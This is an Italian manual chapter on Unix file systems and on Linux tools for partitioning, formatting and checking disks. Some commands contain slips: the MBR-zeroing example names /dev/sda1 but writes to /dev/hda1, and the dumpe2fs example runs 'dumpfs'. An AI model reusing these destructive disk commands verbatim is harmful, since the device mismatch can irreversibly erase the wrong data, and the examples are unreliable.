Oltre all'azione dei sistemi operativi, si aggiunge spesso una memoria cache nell'hardware della stessa unità di memorizzazione. Questa non può essere controllata tanto facilmente se non attendendo qualche secondo prima di spegnere l'elaboratore dopo aver completato la procedura di arresto del sistema, in base al tipo di sistema operativo utilizzato.

21.1.8 File system Unix

I file system dei vari sistemi Unix condividono lo stesso tipo di impostazione e di conseguenza si utilizza una terminologia comune per descriverne le varie parti.

Semplificando molto le cose, si può immaginare che il file system Unix sia composto da due strutture che si sovrappongono: ***inode*** e directory.

- A capo di tutto c'è il ***super blocco*** che contiene informazioni generali sul file system.
- Un inode è un elemento contenente tutte le informazioni riferite a un file di qualunque tipo (comprese le directory), escluso il nome. In particolare, l'inode contiene i riferimenti necessari a raggiungere i blocchi di dati del file. Gli inode sono raggiungibili tramite il loro numero (numero di inode).
- Un blocco di dati è una zona nell'unità di memorizzazione utilizzata per contenere dati, corrispondente a un multiplo della dimensione del settore fisico dell'unità stessa. Il contenuto di un file può essere distribuito su più blocchi di dati.
- Una directory è un file contenente un elenco di nomi di file abbinati al numero di inode rispettivo.

La struttura di inode e blocchi di dati è sufficiente a definire le caratteristiche e il contenuto dei file. La struttura di directory permette di raggiungere i file per nome, organizzandoli nel modo consueto, attraverso diramazioni più o meno accentuate.

Nel super blocco, tra le altre cose, viene modificato un indicatore particolare (un *flag*) quando il suo file system viene innestato. Nel momento in cui si esegue il distacco, l'ultima cosa a essere modificata nel file system è l'indicatore di apertura che viene riportato al livello normale. In

questo modo, ogni volta che si innesta un file system Unix è possibile verificare se ne è stato eseguito correttamente il distacco. Se risulta che l'attività nel file system non è stata conclusa correttamente si può temere che i dati siano danneggiati (ovvero che siano incoerenti).

Figura 21.16. File system Unix.

File system

Super blocco						Blocco di dati
inode						

21.1.8.1 Directory e inode

Chi non ha mai avuto a che fare con un sistema Unix può trovare difficoltà a comprendere cosa siano gli inode, mentre questo è necessario per poter intendere correttamente cosa siano i collegamenti.

Un file system Unix ha due livelli di astrazione logica: inode e directory. Nella parte più bassa si trova l'unità di memorizzazione di massa, scomposta in blocchi di dati. Un file di qualunque tipo è composto da blocchi (eventualmente anche nessun blocco, se il file è vuoto) e queste informazioni sono raccolte in un inode. L'inode viene identificato in base a un numero riferito alla tabella di inode.

Una directory è un file (cioè un inode come gli altri) che ha il compito speciale di raccogliere un elenco di riferimenti ad altri inode, a cui abbinare il nome relativo. Le voci contenute in una directory sono dei collegamenti (indicati più precisamente come collegamenti fisici o *hard link*) a degli inode.

Il termine «directory» deriva da questo: si tratta di un elenco di nomi a cui si associa il numero di inode corrispondente.

A questo punto, potrebbe essere interessante distinguere le informazioni contenute negli inode, da quelle che invece appartengono alle voci delle directory.

L'inode contiene le informazioni necessarie a raggiungere i blocchi di dati che compongono il file, oltre alle informazioni seguenti:

- la data dell'ultimo accesso;
- la data dell'ultima modifica;
- la data di creazione (dell'inode);
- il tipo di file;
- la dimensione complessiva in byte;
- i numeri UID e GID che rappresentano l'utente e il gruppo proprietari;
- i permessi, compresa l'indicazione dell'utente e del gruppo proprietari, attraverso l'indicazione dei numeri UID e GID;
- un contatore delle voci delle directory che vi fanno riferimento (ovvero, un contatore dei collegamenti fisici).

La directory contiene un elenco di voci, dove ognuna di queste contiene a sua volta:

- il nome;
- il riferimento all'inode (cioè il collegamento fisico).

Figura 21.17. Inode, directory e file.

21.1.8.2 Collegamenti o «link»

Come descritto nella sezione precedente, le voci di una directory contengono ognuna un riferimento (detto comunemente collegamento) a un inode. Più voci della stessa directory, o di directory differenti, possono puntare allo stesso inode. Quando si cancella un file, si cancella la voce della directory e il numero di riferimenti contenuti nell'inode viene ridotto. Quando questo raggiunge lo zero, quel numero di inode torna a essere disponibile.

Questa possibilità di avere riferimenti multipli allo stesso inode è ampliata dalla presenza dei cosiddetti collegamenti simbolici, o *symlink*, che sono solo file contenenti un riferimento a un altro file.

Per distinguere questi due tipi di collegamenti, si può parlare di collegamenti fisici, o *hard link*, per fare riferimento ai collegamenti che puntano direttamente agli inode.

Figura 21.18. Collegamenti. In questa figura si può notare che: i file '`/bin/arch`' e '`/sbin/arch`' sono la stessa cosa, in quanto corrispondono allo stesso inode; il file '`/sbin/architett`' è un collegamento simbolico a '`/bin/arch`'.

21.2 Preparazione e controllo

I sistemi Unix gestiscono sempre un solo file system globale. Questo può essere anche composto da più file system di dimensioni inferiori, uno principale (radice) e gli altri secondari, collegati fra loro in modo da formare un'unica struttura.

21.2.1 Preparazione dei file system

Prima di poter utilizzare un file system, occorre costruirlo. Quando si parla di unità di memorizzazione si distinguono tre fasi fondamentali:

1. l'inizializzazione a basso livello;
2. l'eventuale suddivisione in partizioni;
3. la creazione della struttura iniziale del tipo di file system che si intende utilizzare.

L'inizializzazione a basso livello riguarda le unità a disco, specialmente se rimovibili, ma in generale è sempre più raro che ci si debba preoccupare di tale procedura.[2]

Per la suddivisione in partizioni delle unità di memorizzazione si può utilizzare '**`fdisk`**' (o '**`cfdisk`**'), per creare i vari file system si devono utilizzare programmi diversi a seconda del tipo di file system.

Tutte queste operazioni vengono svolte facendo riferimento ai file di dispositivo relativi. Di conseguenza, possono essere compiute solo dagli utenti che hanno i permessi di accesso in lettura e scrittura per questi file. Generalmente, solo l'utente '**`root`**' può intervenire in questo modo.

21.2.1.1 Utilizzo di «badblocks»

Il programma '**`badblocks`**'[3] è in grado di verificare l'integrità di un'unità o di una partizione. Il controllo è fatto a basso livello senza considerare la struttura del file system.

`badblocks` [***opzioni***] ***dispositivo*** ***dimensione_in_blocchi*** [***blocco_iniziale***]

Normalmente i programmi di inizializzazione, sia a basso livello che a livello superiore, sono in grado di fare questo controllo da soli. Per questo '**`badblocks`**' viene usato raramente.

Il tipo di controllo può essere in lettura oppure anche in scrittura. È evidente che, se si specifica attraverso le opzioni l'intenzione di effettuare un controllo in scrittura, i dati contenuti nell'unità o nella partizione sono perduti.

Tabella 21.19. Alcune opzioni.

Opzione	Descrizione
`-b` ***dimensione_dei_blocchi***	Permette di definire la dimensione dei blocchi espressa in byte. Il valore predefinito è 1024.
`-w`	Esegue una prova di scrittura controllando successivamente l'esito. Questa opzione deve essere usata con prudenza dal momento che, così facendo, si cancellano i dati dell'unità o della partizione da controllare.

L'esempio seguente esegue il controllo del dischetto, in sola lettura, per tutta la sua estensione: 1440 blocchi di 1 Kibyte. Trattandosi di un controllo in sola lettura, '**`badblocks`**' può essere eseguito da un utente comune (sempre che tali utenti abbiano i permessi di lettura per il dispositivo che si va a leggere).

$ **`badblocks /dev/fd0u1440 1440`**[*Invio*]

21.2.1.2 Utilizzo di «fdisk»

Il programma '**`fdisk`**'[4] [5] permette la modifica della tabella delle partizioni di un'unità di memorizzazione di massa che possa essere organizzata in questo modo. Il nome del file di dispositivo fa riferimento all'intera unità, quindi si possono utilizzare nomi come '`/dev/sda`', '`/dev/sdb`', '`/dev/sdc`',...

> `fdisk` [***opzioni***] [***dispositivo***]

Una volta avviato '**`fdisk`**', si interagisce con questo attraverso comandi composti da una sola lettera. In particolare, la lettera '**`m`**' richiama l'elenco dei comandi disponibili.

[*m*]

```
Command action
   a   toggle a bootable flag
   b   edit bsd disklabel
   c   toggle the dos compatiblity flag
   d   delete a partition
   l   list known partition types
   m   print this menu
   n   add a new partition
   p   print the partition table
   q   quit without saving changes
   t   change a partition's system id
   u   change display/entry units
   v   verify the partition table
   w   write table to disk and exit
   x   extra functionality (experts only)
```

Quando viene creata una nuova partizione, questa viene definita automaticamente del tipo Linux-nativa, ma in certi casi può essere necessario modificare il tipo di partizione creato

attraverso il comando '**t**'. Ogni tipo di partizione ha un codice (espresso in esadecimale) che può essere conosciuto anche attraverso '**fdisk**' stesso, durante il suo funzionamento.

[*t*]

...

```
 0  Vuoto           1c  Hidden W95 FAT3 70  DiskSecure Mult bb  Boot Wizard hid
 1  FAT12           1e  Hidden W95 FAT1 75  PC/IX           be  Solaris boot
 2  XENIX root      24  NEC DOS         80  Vecchio Minix   c1  DRDOS/sec (FAT-
 3  XENIX usr       39  Plan 9          81  Minix / vecchio c4  DRDOS/sec (FAT-
 4  FAT16 <32M      3c  Recupero Partit 82  Linux swap      c6  DRDOS/sec (FAT-
 5  Esteso          40  Venix 80286     83  Linux           c7  Syrinx
 6  FAT16           41  PPC PReP Boot   84  C nascosto OS/2 da  Non-FS data
 7  HPFS/NTFS       42  SFS             85  Linux esteso    db  CP/M / CTOS / .
 8  AIX             4d  QNX4.x          86  set volume NTFS de  Dell Utility
 9  AIX avviabile   4e  QNX4.x 2a parti 87  set volume NTFS df  BootIt
 a  OS/2 Boot Manag 4f  QNX4.x 3rd part 8e  Linux LVM       e1  accesso DOS
 b  W95 FAT32       50  OnTrack DM      93  Amoeba          e3  DOS R/O
 c  W95 FAT32 (LBA) 51  OnTrack DM6 Aux 94  Amoeba BBT      e4   SpeedStor
 e  W95 FAT16 (LBA) 52  CP/M            9f  BSD/OS          eb  BeOS fs
 f  W95 Ext'd (LBA) 53  OnTrack DM6 Aux a0  Ibernazione IBM ee  EFI GPT
10  OPUS            54  OnTrackDM6      a5  FreeBSD         ef  EFI (FAT-12/16/
11  FAT12 nascosto  55   EZ-Drive       a6  OpenBSD         f0  Linux/PA-RISC b
12  Diagnostica Com 56  Golden Bow      a7  NeXTSTEP        f1   SpeedStor
14  FAT16 nascosto  5c  Priam Edisk     a8  Darwin UFS      f4   SpeedStor
16  FAT16 nascosto  61   SpeedStor      a9  NetBSD          f2  DOS secondario
17  HPFS/NTFS nasco 63  GNU HURD o SysV ab  Darwin boot     fd  Autorilevamento
18  AST SmartSleep  64  Novell Netware  b7  BSDI fs         fe  LANstep
1b  Hidden W95 FAT3 65  Novell Netware  b8  BSDI swap       ff  BBT
```

Le modifiche alla tabella delle partizioni vengono registrate solo nel momento in cui si termina l'esecuzione del programma con il comando '**w**'. Se '**fdisk**' segnala qualche tipo di errore in questo momento, potrebbe essere necessario riavviare il sistema prima di utilizzare l'unità su cui sono state apportate le modifiche.

[*w*]

Il funzionamento di '**fdisk**' è già descritto nel capitolo 6.

Tabella 21.22. Alcune opzioni.

Opzione	Descrizione
`-l`	Emette l'elenco delle partizioni esistenti nelle unità di memorizzazione presenti. Non inizia alcuna attività interattiva. La lettera «l» sta per *list*.
`-s` ***partizione***	Utilizzando questa opzione seguita dal nome del file di dispositivo che fa riferimento a una partizione ('`/dev/sda1`', '`/dev/sda2`', ecc.) si ottiene la sua dimensione. Questa informazione è importante nel momento in cui si vuole creare al suo interno un file system e il programma utilizzato non è in grado di determinarla da solo. La lettera «s» sta per *size*.

21.2.1.3 Utilizzo di «cfdisk»

Il programma '**cfdisk**'[6] serve a modificare la suddivisione in partizioni di un'unità di memorizzazione di massa che possa essere organizzata in questo modo. Si tratta di un programma che svolge le stesse funzioni di '**fdisk**' offrendo un sistema di interazione meno spartano.

```
cfdisk [opzioni] [dispositivo]
```

Dal momento che richiede delle librerie particolari per la gestione dello schermo ('**ncurses**'), è poco indicato il suo utilizzo in presenza di sistemi estremamente ridotti o di emergenza. Ciò significa che il programma '**fdisk**' tradizionale non può essere abbandonato per adottare esclusivamente '**cfdisk**'.

Il funzionamento di '**fdisk**' è già descritto nel capitolo 6.

21.2.1.4 Utilizzo di «sfdisk»

Il programma '**sfdisk**'[7] consente la modifica delle partizioni in modo non interattivo, pertanto è utile in particolare per la realizzazione di script.

```
sfdisk [opzioni] dispositivo
```

```
sfdisk -s [partizione]
```

```
sfdisk dispositivo < file_di_comandi
```

L'utilizzo normale di questo programma di servizio prevede la preparazione di un file contenente le istruzioni sulle partizioni da creare all'interno di un'unità di memorizzazione di massa specificata espressamente. Anche se è prevista una sintassi apposita per queste istruzioni, può essere conveniente l'utilizzo di quanto ottenuto da un'interrogazione con lo stesso '**sfdisk**', come viene mostrato in seguito. Prima di arrivare a vedere in che modo si possono definire le partizioni, conviene prendere confidenza con l'uso di '**sfdisk**', attraverso delle operazioni non distruttive; pertanto si comincia subito con alcuni esempi.

- `# sfdisk -s /dev/sda1` [*Invio*]

  Questo comando si limita a restituire un numero attraverso lo standard output, corrispondente alla quantità di blocchi della prima partizione della prima unità.

- `# sfdisk -s /dev/sda` [*Invio*]

  In questo caso si ottiene la quantità di blocchi complessiva della prima unità.

- `# sfdisk -V /dev/sda` [*Invio*]

  Verifica la coerenza delle partizioni nella prima unità. Di solito, '**sfdisk**' viene usato in questo modo per ottenere il valore restituito: se è pari a *Vero* (zero), tutto è in ordine.

- `# sfdisk -d /dev/sda` [*Invio*]

  Genera un rapporto sulle partizioni della prima unità, emesso attraverso lo standard output. Questo potrebbe essere ridiretto in un file, da conservare da qualche parte; in seguito, questo stesso file potrebbe essere usato per rigenerare la stessa situazione:

  `# sfdisk -d /dev/sda > /mnt/usb/partizioni` [*Invio*]

  ...

  `# sfdisk /dev/sda < /mnt/usb/partizioni` [*Invio*]

Un esempio del rapporto che si ottiene con l'opzione '**`-d`**' potrebbe essere quello del listato seguente:

```
# partition table of /dev/sda
unit: sectors

/dev/sda1 : start=       63, size=  612801, Id= 6
/dev/sda2 : start=   612864, size= 2721600, Id= 5, bootable
/dev/sda3 : start=        0, size=       0, Id= 0
/dev/sda4 : start=        0, size=       0, Id= 0
/dev/sda5 : start=   612927, size=   20097, Id=83
/dev/sda6 : start=   633087, size=  205569, Id=82
/dev/sda7 : start=   838719, size= 2495745, Id=83
```

Con questo sistema, se si dispone di più elaboratori con le stesse unità di memorizzazione di massa, da suddividere nello stesso modo, è facile utilizzare '**`sfdisk`**' per copiare la struttura di una nelle altre. Se si sa quello che si fa, si può modificare uno di questi file prima di darlo in pasto a '**`sfdisk`**'.

Il programma '**`sfdisk`**' permette anche di utilizzare una sintassi differente e più approssimativa per definire le partizioni che si vogliono creare. Tuttavia, per questo conviene leggere la documentazione originale che dovrebbe essere accessibile attraverso la pagina di manuale *sfdisk(8)*.

Tabella 21.24. Alcune opzioni.

Opzione	Descrizione
`-s` `--show-size`	Mostra la dimensione di una partizione.
`-l` `--list`	Mostra l'elenco delle partizioni di un'unità di memorizzazione.
`-d` `--dump`	Scarica le informazioni sulle partizioni di un'unità di memorizzazione. Quello che si ottiene può essere riutilizzato per rigenerare la stessa struttura, utilizzandolo come file di comandi per '**`sfdisk`**'.
`-V` `--verify`	Verifica se le partizioni sembrano organizzate correttamente.

21.2.1.5 Salvataggio e recupero delle informazioni sulle partizioni principali

Un'unità di memorizzazione suddivisa in partizioni secondo il modello originario dei sistemi Dos, il quale prevede quattro partizioni primarie, contiene tali informazioni all'interno del primo settore, noto con il nome «MBR». È molto semplice salvare tale suddivisione, anche senza servirsi di programmi specifici (come potrebbe essere '**sfdisk**'), purché il proprio interesse sia limitato alle sole partizioni principali. Per salvare il settore MBR si procede così:

```
dd if=file_di_dispositivo of=file_da_creare bs=512 count=1
```

In questo modo, il file di dispositivo deve essere quello dell'unità intera, dalla quale si vuole leggere il primo settore di 512 byte; il file da creare è quel file nel quale si vuole salvare l'informazione.

Nel caso dovesse essere necessario recuperare la tabella delle partizioni, se si copia tale e quale il file salvato in precedenza nel primo settore, si sovrascrive anche il codice di avvio; se questo va bene, basta procedere così:

```
dd if=file_mbr of=file_di_dispositivo
```

Se invece si vuole copiare soltanto la tabella di partizione, senza sovrascrivere il codice di avvio, il comando diventa più articolato:

```
dd if=file_mbr of=file_di_dispositivo bs=1 count=64 skip=446 seek=446
```

Naturalmente, un errore nella scrittura del comando di recupero, sia nei valori, sia nell'indicazione corretta del file di dispositivo di destinazione, è irreversibile.

21.2.1.6 Sistemazione delle partizioni Dos-FAT

Quando si predispongono partizioni Dos, può essere opportuno ripulire il primo settore (i primi 512 byte) della partizione, per evitare dei problemi con i programmi come '**FORMAT.EXE**', i quali potrebbero leggerlo prima di iniziare il loro lavoro, restando confusi nel caso ci fossero lì dei dati casuali. Come si intuisce, il problema non esiste se il file system Dos-FAT viene generato attraverso strumenti di GNU/Linux, ma se si realizza uno script che deve costruire automaticamente delle partizioni, tra cui anche di tipo Dos, forse è il caso di provvedere a ripulire il primo settore di ogni partizione del genere.

Supponendo di avere definito la partizione '/dev/sda1' per il Dos, si dovrebbe agire nel modo seguente:

```
# dd if=/dev/zero of=/dev/hda1 bs=512 count=1 [Invio]
```

Si intuisce che anche solo un piccolo sbaglio, in un'operazione del genere, comporta la cancellazione di dati in modo irreversibile.

21.2.1.7 Utilizzo di «mke2fs», «mkfs.ext2», «mkfs.ext3» e «mkfs.ext4»

Il programma '**mke2fs**'[8] permette di creare un file system di tipo Ext2 o Ext3 in un'unità di memorizzazione. Questa viene indicata nel modo consueto, attraverso il nome del file di dispositivo corrispondente ('/dev/...').

mke2fs [***opzioni***] ***dispositivo*** [***dimensione_in_blocchi***]

mkfs.ext2 [***opzioni***] ***dispositivo*** [***dimensione_in_blocchi***]

mkfs.ext3 [***opzioni***] ***dispositivo*** [***dimensione_in_blocchi***]

mkfs.ext4 [***opzioni***] ***dispositivo*** [***dimensione_in_blocchi***]

La dimensione è espressa in blocchi. Se questo valore non viene specificato, '**mke2fs**' cerca di determinarlo da solo, ma ci sono situazioni in cui ciò non avviene in modo corretto, quindi può essere conveniente il fornire tale indicazione in modo esplicito.

Tabella 21.25. Alcune opzioni.

Opzione	Descrizione
-b ***dimensione_del_blocco***	Permette di definire la dimensione dei blocchi, espressa in byte. La lettera «b» sta per *block*.
-c	Prima di creare il file system controlla i blocchi in modo da isolare quelli difettosi. Il controllo viene eseguito in sola lettura. La lettera «c» sta per *check*.
-i ***byte_per_inode***	Definisce il rapporto byte/inode. '**mke2fs**' crea un inode a ogni intervallo stabilito espresso in byte. Il valore predefinito è di 4 Kibyte (4096 byte) e non può essere inferiore a 1 Kibyte (1024 byte). La lettera «i» sta per *inode*.
-q	Esegue l'operazione senza emettere informazioni di alcun tipo, in modo da poter essere utilizzato agevolmente all'interno di script. La lettera «q» sta per *quiet*.
-S	Scrive solo il super blocco e il descrittore di gruppo. Ciò può essere utile se, sia il super blocco principale, sia quelli di riserva, sono rovinati e si intende tentare, come ultima risorsa, un recupero dei dati. In questo modo, la tabella degli inode e altre informazioni non vengono modificate. Subito dopo è necessario utilizzare il programma '**e2fsck**' (21.2.2.3), ma non c'è alcuna garanzia che il recupero funzioni. La lettera «S» sta per *superblock*.

Segue la descrizione di alcuni esempi.

- `# mkfs.ext4 /dev/sda2` [*Invio*]

  Crea un file system Ext4 nella partizione a cui si riferisce il file di dispositivo '`/dev/sda2`', determinandone automaticamente la dimensione.

- `# mkfs.ext4 -c /dev/sda2` [*Invio*]

  Crea un file system Ext4 nella partizione a cui si riferisce il file di dispositivo '`/dev/sda2`', determinandone automaticamente la dimensione, procedendo inizialmente con un controllo dell'integrità della partizione.

Si veda la pagina di manuale *mke2fs(8)* per avere maggiori dettagli sull'uso di questo programma.

21.2.1.8 Utilizzo di «mkdosfs» e «mkfs.msdos»

Il programma '**`mkdosfs`**'[9] permette di creare un file system Dos-FAT. Può essere usato per tutti i tipi di unità di memorizzazione di massa, compresi i dischetti.

```
mkdosfs [opzioni] dispositivo [dimensione_in_blocchi]
```

```
mkfs.msdos [opzioni] dispositivo [dimensione_in_blocchi]
```

Tabella 21.26. Alcune opzioni.

Opzione	Descrizione
`-c`	Prima di creare il file system controlla i blocchi in modo da isolare quelli difettosi. Il controllo viene eseguito in sola lettura. La lettera «c» sta per *check*.
`-i` ***numero_id***	Permette di specificare il numero di identificazione. Si tratta di un numero a 32 bit, rappresentato in esadecimale (precisamente si tratta di otto cifre esadecimali), che diversamente verrebbe determinato in base alla data. La lettera «i» sta per *id* (*identity*).
`-I`	Quando si utilizzano unità di memorizzazione per le quali si prevede normalmente una suddivisione in partizioni, con questa opzione è consentito inizializzare l'unità intera, senza suddivisioni in partizioni.
`-C`	Consente di creare e inizializzare un file-immagine. Quando si utilizza questa opzione è indispensabile fornire la dimensione in blocchi alla fine della riga di comando. La lettera «C» sta per *create*.

L'esempio seguente crea un file system Dos-FAT nella prima partizione della prima unità, dopo aver determinati automaticamente la dimensione in blocchi e lo stati di questi:

mkdosfs -c /dev/sda1 [*Invio*]

Si veda anche la pagina di manuale *mkdosfs(8)* per avere maggiori dettagli.

21.2.1.9 Utilizzo di «mkfs»

Il programma '**mkfs**'[10] serve a rendere uniforme l'utilizzo degli altri programmi specifici per la creazione dei vari tipi di file system. In questi casi si può parlare anche di programma frontale oppure si usa il termine inglese *front-end*.

mkfs [-t ***tipo_di_file_system***] [***opzioni_specifiche***] ***dispositivo*** [***dimensione_in_blocchi***]

L'opzione '**-t**' serve per specificare il tipo di file system da creare, in questo modo '**mkfs**' sa a quale programma deve rivolgersi. Le opzioni specifiche dipendono dal tipo di file system, ovvero dal programma che si prende cura effettivamente dell'inizializzazione. Segue la descrizione di alcuni esempi.

- # **mkfs -t msdos -c /dev/sda1** [*Invio*]

  Crea un file system Dos-FAT nella prima partizione della prima unità, dopo il controllo dei blocchi.

- # **mkfs -t ext4 -c /dev/sda2** [*Invio*]

  Crea un file system Ext4 nella seconda partizione della prima unità, dopo il controllo dei blocchi.

21.2.2 Controllo dei file system

I dati contenuti all'interno di un file system sono organizzati in una struttura articolata e delicata. A volte, specie se succedono incidenti, conviene controllare questa struttura attraverso un programma che si occupa di risistemare le cose.

Tutte queste operazioni vengono svolte facendo riferimento ai file di dispositivo relativi. Di conseguenza, possono essere compiute solo dagli utenti che hanno i permessi di accesso necessari per il tipo di operazione da compiere.

21.2.2.1 Utilizzo di «disktype»

Il programma '**disktype**'[11] permette di individuare facilmente le caratteristiche di un'unità di memorizzazione, comprese le partizioni presenti ed eventualmente il tipo di file system contenuto. Si utilizza senza opzioni:

disktype ***file***...

I file da indicare come argomento di '**`disktype`**' possono essere file di dispositivo, oppure file-immagine di una qualche unità. Vengono mostrati alcuni esempi molto semplici, per rendere l'idea delle informazioni che si possono ottenere con questo programma:

`#` **`disktype /dev/sdb`** [*Invio*]

```
--- /dev/sdb
Block device, size 76.34 GiB (81964302336 bytes)
GRUB boot code, compat version 3.2, boot drive 0xff
DOS partition map
Partition 1: 8.066 GiB (8661187584 bytes, 16916382 sectors from 63)
  Type 0x82 (Linux swap / Solaris)
  Linux swap, version 2, subversion 1, 4 KiB pages, little-endian
    Swap size 8.066 GiB (8661176320 bytes, 2114545 pages of 4 KiB)
Partition 2: 13.04 GiB (13999426560 bytes, 27342630 sectors from 16916445)
  Type 0x83 (Linux)
  Ext3 file system
    UUID 6137A3BD-D45C-46ED-ACF2-668046292FEC (DCE, v4)
    Volume size 13.04 GiB (13999423488 bytes, 3417828 blocks of 4 KiB)
Partition 3: 21.10 GiB (22652421120 bytes, 44243010 sectors from 44259075)
  Type 0x83 (Linux)
  Ext3 file system
    UUID 316F72A3-3501-4260-A438-8873608E4CC4 (DCE, v4)
    Volume size 21.10 GiB (22652420096 bytes, 5530376 blocks of 4 KiB)
Partition 4: 34.13 GiB (36643622400 bytes, 71569575 sectors from 88502085)
  Type 0x83 (Linux)
  Ext3 file system
    UUID CFDEA76D-72E4-4775-81C8-2860FBAB2037 (DCE, v4)
    Volume size 34.13 GiB (36641439744 bytes, 8945664 blocks of 4 KiB)
```

`#` **`disktype /dev/sr0`** [*Invio*]

```
--- /dev/sr0
Block device, size 158.2 MiB (165918720 bytes)
CD-ROM, 1 track, CDDB disk ID 02043801
Track 1: Data track, 158.2 MiB (165918720 bytes)
  ISO9660 file system
    Volume name "nanoLinux II"
    Application "nanoLinux II"
    Data size 158.2 MiB (165918720 bytes, 81015 blocks of 2 KiB)
    El Torito boot record, catalog at 79733
      Bootable non-emulated image, starts at 79736, preloads 2 KiB
```

21.2.2.2 Utilizzo di «dumpe2fs»

Il programma '**dumpe2fs**'[12] consente di avere un buon numero di informazioni relative al file system Second-extended (Ext2, Ext3 o Ext4) contenuto in un certo file di dispositivo.

```
dumpe2fs [opzioni] file_di_dispositivo
```

Tra le altre cose, il programma '**dumpe2fs**' può essere utile per localizzare le copie di sicurezza del super blocco:

dumpfs /dev/md1 [*Invio*]

```
…
First block:              0
Block size:               4096
Fragment size:            4096
…
Group 0: (Blocks 0-32767)
  Primary superblock at 0, Group descriptors at 1-1
  Reserved GDT blocks at 2-370
  Block bitmap at 371 (+371), Inode bitmap at 372 (+372)
  Inode table at 373-875 (+373)
  0 free blocks, 16085 free inodes, 2 directories
  Free blocks:
  Free inodes: 12-16096
Group 1: (Blocks 32768-65535)
  Backup superblock at 32768, Group descriptors at 32769-32769
  Reserved GDT blocks at 32770-33138
  Block bitmap at 33139 (+371), Inode bitmap at 33140 (+372)
  Inode table at 33141-33643 (+373)
  30976 free blocks, 16096 free inodes, 0 directories
  Free blocks: 34560-65535
  Free inodes: 16097-32192
…
Group 3: (Blocks 98304-131071)
  Backup superblock at 98304, Group descriptors at 98305-98305
  Reserved GDT blocks at 98306-98674
  Block bitmap at 98675 (+371), Inode bitmap at 98676 (+372)
  Inode table at 98677-99179 (+373)
  31892 free blocks, 16096 free inodes, 0 directories
  Free blocks: 99180-131071
  Free inodes: 48289-64384
…
```

Si veda anche la pagina di manuale *dumpe2fs(8)* per avere maggiori indicazioni sull'uso del programma.

21.2.2.3 Utilizzo di «e2fsck», «fsck.ext2», «fsck.ext3» e «fsck.ext4»

Il programma '**e2fsck**'[13] permette di eseguire un controllo in un file system di tipo Ext2, Ext3 e Ext4, applicando le correzioni ritenute necessarie. In generale, è opportuno che il file system da controllare non sia innestato, o almeno, se è innestato, è necessario che sia accessibile in sola lettura.[14]

```
e2fsck [opzioni] dispositivo
```

```
fsck.ext2 [opzioni] dispositivo
```

```
fsck.ext3 [opzioni] dispositivo
```

```
fsck.ext4 [opzioni] dispositivo
```

Tabella 21.30. Alcune opzioni.

Opzione	Descrizione
`-b` ***super_blocco***	Indica un super blocco alternativo al primo. Questa opzione si utilizza quando il super blocco principale è danneggiato e si vuole tentare l'accesso al file system attraverso le informazioni contenute in una delle copie del super blocco. L'indirizzo dei super blocchi di scorta può essere determinato con l'ausilio del programma '**dumpe2fs**', ma generalmente, ammesso che il file system sia organizzato in blocchi da 4 Kibyte (4096 byte), l'indirizzo della prima copia di sicurezza del super blocco è 32768. La lettera «b» sta per *backup*.
`-c`	Avvia a sua volta il programma '**badblocks**' in modo da ricercare e segnare eventuali blocchi difettosi. La lettera «c» sta per *check*.
`-f`	Forza il controllo anche se il file system sembra in ordine (un file system che sembra non contenere errori viene definito «pulito»: *clean*). La lettera «f» sta per *force*.
`-F`	Prima di procedere, fa in modo di scaricare la memoria cache del file system su cui si vuole intervenire. La lettera «F» sta per *flush*.
`-n`	Esegue il controllo in sola lettura, rispondendo automaticamente '**n**' (no), a tutte le domande che potrebbero essere fatte.
`-p`	Ripara automaticamente il file system senza fare alcuna domanda. La lettera «p» sta per *preen*.
`-y`	Risponde automaticamente '**y**' (*yes*), a tutte le domande che potrebbero essere fatte, in modo da permetterne l'utilizzo non interattivo attraverso uno script.

Segue la descrizione di alcuni esempi.

- `# fsck.ext4 /dev/sda2` [*Invio*]

  Verifica il file system contenuto nella partizione a cui si riferisce il file di dispositivo '`/dev/sda2`', partendo dal presupposto che questo sia di tipo Ext4.

- `# fsck.ext4 -f /dev/sda2` [*Invio*]

  Verifica in ogni caso il file system contenuto nella partizione a cui si riferisce il file di dispositivo '`/dev/sda2`'. È inteso che tale file system sia di tipo Ext4.

- `# fsck.ext4 -f -b 32768 /dev/sda2` [*Invio*]

  Verifica in ogni caso il file system contenuto nella partizione a cui si riferisce il file di dispositivo '`/dev/sda2`', utilizzando però le informazioni del super blocco di scorta contenuto a partire dal blocco numero 32768.

Si veda la pagina di manuale *e2fsck(8)* per conoscere meglio l'uso di questo programma.

21.2.2.4 Utilizzo di «dosfsck» e «fsck.msdos»

Il programma '**`dosfsck`**'[15] permette di eseguire il controllo di un file system di tipo Dos-FAT e di applicare le correzioni ritenute necessarie. In generale, è opportuno che il file system da controllare non sia innestato.[16]

dosfsck [***opzioni***] ***dispositivo***

fsck.msdos [***opzioni***] ***dispositivo***

Tabella 21.31. Alcune opzioni.

Opzione	Descrizione
`-a`	Esegue automaticamente la riparazione del file system. Se esiste più di una possibilità per eseguire una correzione, viene scelta la meno distruttiva. La lettera «a» sta per *automatic*.
`-r`	Esegue la riparazione del file system in modo interattivo, richiedendo all'utente la scelta sul tipo di correzione da attuare quando esiste più di una scelta. La lettera «r» sta per *repair*.
`-t`	Marca i *cluster* illeggibili come difettosi. La lettera «t» sta per *tag*.

Per conoscere maggiori dettagli conviene consultare la pagina di manuale *dosfsck(8)*.

21.2.2.5 Utilizzo di «fsck»

Il programma '**fsck**' rende uniforme l'utilizzo dei programmi specifici per il controllo e la correzione dei vari tipi di file system. Si tratta di un programma frontale.

```
fsck [opzioni] [-t tipo_di_fs] [opzioni_specifiche] dispositivo...
```

L'opzione '**-t**' serve per specificare il tipo di file system da analizzare, in questo modo '**fsck**' sa a quale programma deve rivolgersi. Le opzioni specifiche dipendono dal tipo di file system, ovvero dal programma che si prende cura effettivamente dell'operazione.

Si veda anche la pagina di manuale *fsck(8)*.

21.2.2.6 La directory «lost+found»

Nei file system Second-extended (Ext2, Ext3 o Ext4) si incontra normalmente la directory vuota '/lost+found/', creata automaticamente nel momento della creazione del file system stesso. Questa directory non deve essere usata dagli utenti e deve rimanere a disposizione per i programmi che eseguono il controllo del file system, perché al suo interno vengono collocati i file che emergono in fase di correzione di un file system danneggiato, quando questi non possono essere attribuiti alla loro posizione originale. Naturalmente, l'utente che esegue questi controlli e trova file all'interno della directory '/lost+found/', dovrebbe cercare di capire di cosa si tratta ed eventualmente di ricollocarli nelle loro posizioni appropriate nella gerarchia del file system.

21.2.3 Gestione di file system NTFS

